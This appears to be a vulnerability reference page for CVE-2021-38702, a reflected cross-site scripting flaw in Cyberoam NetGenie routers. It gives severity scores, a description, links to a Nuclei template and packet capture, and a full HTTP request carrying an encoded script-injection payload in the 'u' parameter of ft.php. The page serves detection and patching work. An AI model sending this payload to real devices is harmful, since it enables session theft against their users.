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CVE-2021-38702: Cyberoam NetGenie Cross-Site Scripting

TitleCyberoam NetGenie Cross-Site Scripting
Authorgeeknik
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationApply the latest security patches or firmware updates provided by the vendor to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.469
CVE IDCVE-2021-38702
CWE IDCWE-79
Tags cve2021 cve cyberoam netgenie xss router seclists packetstorm cyberoamworks vkev vuln

🔍 Vulnerability Description

Cyberoam NetGenie C0101B1-20141120-NG11VO devices through 2021-08-14 are susceptible to reflected cross-site scripting via the ‘u’ parameter of ft.php.

🌐 HTTP Request

GET /tweb/ft.php?u=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-38702.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-38702.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A